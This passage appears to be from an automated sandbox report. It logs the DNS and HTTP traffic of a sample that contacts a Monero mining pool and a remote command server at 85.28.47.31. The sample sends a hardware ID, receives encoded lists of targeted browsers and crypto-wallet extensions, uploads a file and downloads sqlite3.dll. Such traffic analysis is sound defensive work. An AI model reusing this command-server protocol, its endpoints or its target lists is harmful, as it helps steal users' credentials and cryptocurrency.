Jul 24, 2024 02:40:58.512953043 CEST	1.1.1.1	192.168.2.4	0xea10	No error (0)	pool-fr.supportxmr.com		141.94.96.71	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:40:58.512953043 CEST	1.1.1.1	192.168.2.4	0xea10	No error (0)	pool-fr.supportxmr.com		141.94.96.144	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:41:11.124505043 CEST	1.1.1.1	192.168.2.4	0x6ef9	No error (0)	pool.supportxmr.com	pool-fr.supportxmr.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:41:11.124505043 CEST	1.1.1.1	192.168.2.4	0x6ef9	No error (0)	pool-fr.supportxmr.com		141.94.96.144	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:41:11.124505043 CEST	1.1.1.1	192.168.2.4	0x6ef9	No error (0)	pool-fr.supportxmr.com		141.94.96.71	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:41:11.124505043 CEST	1.1.1.1	192.168.2.4	0x6ef9	No error (0)	pool-fr.supportxmr.com		141.94.96.195	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:41:29.777429104 CEST	1.1.1.1	192.168.2.4	0xa655	No error (0)	pool.supportxmr.com	pool-fr.supportxmr.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:41:29.777429104 CEST	1.1.1.1	192.168.2.4	0xa655	No error (0)	pool-fr.supportxmr.com		141.94.96.71	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:41:29.777429104 CEST	1.1.1.1	192.168.2.4	0xa655	No error (0)	pool-fr.supportxmr.com		141.94.96.144	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:41:29.777429104 CEST	1.1.1.1	192.168.2.4	0xa655	No error (0)	pool-fr.supportxmr.com		141.94.96.195	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	85.28.47.31	80	6896	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:38:57.085808992 CEST	86	OUT	GET / HTTP/1.1 Host: 85.28.47.31 Connection: Keep-Alive Cache-Control: no-cache
Jul 24, 2024 02:38:57.730248928 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:38:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 24, 2024 02:38:57.732848883 CEST	408	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAAAFBGDBKKEBGCFCBF Host: 85.28.47.31 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 41 41 41 46 42 47 44 42 4b 4b 45 42 47 43 46 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 35 45 45 30 33 45 36 32 37 39 31 39 32 32 30 36 33 34 39 37 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 41 46 42 47 44 42 4b 4b 45 42 47 43 46 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 41 46 42 47 44 42 4b 4b 45 42 47 43 46 43 42 46 2d 2d 0d 0a Data Ascii: ------EBAAAFBGDBKKEBGCFCBFContent-Disposition: form-data; name="hwid"C5EE03E62791922063497------EBAAAFBGDBKKEBGCFCBFContent-Disposition: form-data; name="build"sila------EBAAAFBGDBKKEBGCFCBF--
Jul 24, 2024 02:38:58.005165100 CEST	407	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:38:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 54 4a 6b 4d 54 49 79 4d 32 5a 6d 4e 44 51 7a 4d 57 4e 6b 5a 47 4d 34 4d 7a 42 6a 4e 44 55 7a 4e 6a 68 6d 4f 57 56 6b 4d 54 6c 6d 59 6d 5a 68 59 57 5a 6b 4f 54 4a 6a 59 6a 63 31 4e 6a 64 6d 4d 6a 64 69 4f 47 4e 69 59 6a 41 7a 4e 44 67 77 59 6a 49 7a 59 6d 5a 68 4f 44 67 33 59 7a 6b 79 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 78 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NTJkMTIyM2ZmNDQzMWNkZGM4MzBjNDUzNjhmOWVkMTlmYmZhYWZkOTJjYjc1NjdmMjdiOGNiYjAzNDgwYjIzYmZhODg3YzkyfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwxfHlibmNiaHlsZXBtZXw=
Jul 24, 2024 02:38:58.007014036 CEST	466	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIIECBGDHJJKFIDAKJD Host: 85.28.47.31 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 32 64 31 32 32 33 66 66 34 34 33 31 63 64 64 63 38 33 30 63 34 35 33 36 38 66 39 65 64 31 39 66 62 66 61 61 66 64 39 32 63 62 37 35 36 37 66 32 37 62 38 63 62 62 30 33 34 38 30 62 32 33 62 66 61 38 38 37 63 39 32 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 44 2d 2d 0d 0a Data Ascii: ------GIIIECBGDHJJKFIDAKJDContent-Disposition: form-data; name="token"52d1223ff4431cddc830c45368f9ed19fbfaafd92cb7567f27b8cbb03480b23bfa887c92------GIIIECBGDHJJKFIDAKJDContent-Disposition: form-data; name="message"browsers------GIIIECBGDHJJKFIDAKJD--
Jul 24, 2024 02:38:58.193200111 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:38:58 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Jul 24, 2024 02:38:58.193255901 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Jul 24, 2024 02:38:58.195132971 CEST	465	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIEGHJEGHJKFIEBFHJK Host: 85.28.47.31 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 49 45 47 48 4a 45 47 48 4a 4b 46 49 45 42 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 32 64 31 32 32 33 66 66 34 34 33 31 63 64 64 63 38 33 30 63 34 35 33 36 38 66 39 65 64 31 39 66 62 66 61 61 66 64 39 32 63 62 37 35 36 37 66 32 37 62 38 63 62 62 30 33 34 38 30 62 32 33 62 66 61 38 38 37 63 39 32 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 47 48 4a 45 47 48 4a 4b 46 49 45 42 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 47 48 4a 45 47 48 4a 4b 46 49 45 42 46 48 4a 4b 2d 2d 0d 0a Data Ascii: ------CGIEGHJEGHJKFIEBFHJKContent-Disposition: form-data; name="token"52d1223ff4431cddc830c45368f9ed19fbfaafd92cb7567f27b8cbb03480b23bfa887c92------CGIEGHJEGHJKFIEBFHJKContent-Disposition: form-data; name="message"plugins------CGIEGHJEGHJKFIEBFHJK--
Jul 24, 2024 02:38:58.407629013 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:38:58 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Jul 24, 2024 02:38:58.407684088 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Jul 24, 2024 02:38:58.407742977 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Jul 24, 2024 02:38:58.407774925 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Jul 24, 2024 02:38:58.407809019 CEST	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Jul 24, 2024 02:38:58.407843113 CEST	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Jul 24, 2024 02:38:58.409337044 CEST	466	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHDBAEGIIIEBGCAAFHI Host: 85.28.47.31 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 32 64 31 32 32 33 66 66 34 34 33 31 63 64 64 63 38 33 30 63 34 35 33 36 38 66 39 65 64 31 39 66 62 66 61 61 66 64 39 32 63 62 37 35 36 37 66 32 37 62 38 63 62 62 30 33 34 38 30 62 32 33 62 66 61 38 38 37 63 39 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 2d 2d 0d 0a Data Ascii: ------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="token"52d1223ff4431cddc830c45368f9ed19fbfaafd92cb7567f27b8cbb03480b23bfa887c92------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="message"fplugins------KEHDBAEGIIIEBGCAAFHI--
Jul 24, 2024 02:38:58.607764006 CEST	335	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:38:58 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Jul 24, 2024 02:38:58.633375883 CEST	199	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIDGCGCBFBAKFHIJDBA Host: 85.28.47.31 Content-Length: 7587 Connection: Keep-Alive Cache-Control: no-cache
Jul 24, 2024 02:38:58.633429050 CEST	7587	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 32 64 31 32 32 Data Ascii: ------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="token"52d1223ff4431cddc830c45368f9ed19fbfaafd92cb7567f27b8cbb03480b23bfa887c92------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Jul 24, 2024 02:38:59.258794069 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:38:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 24, 2024 02:38:59.482996941 CEST	90	OUT	GET /8405906461a5200c/sqlite3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 24, 2024 02:38:59.666393995 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:38:59 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Jul 24, 2024 02:38:59.666444063 CEST	224	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Jul 24, 2024 02:38:59.666464090 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
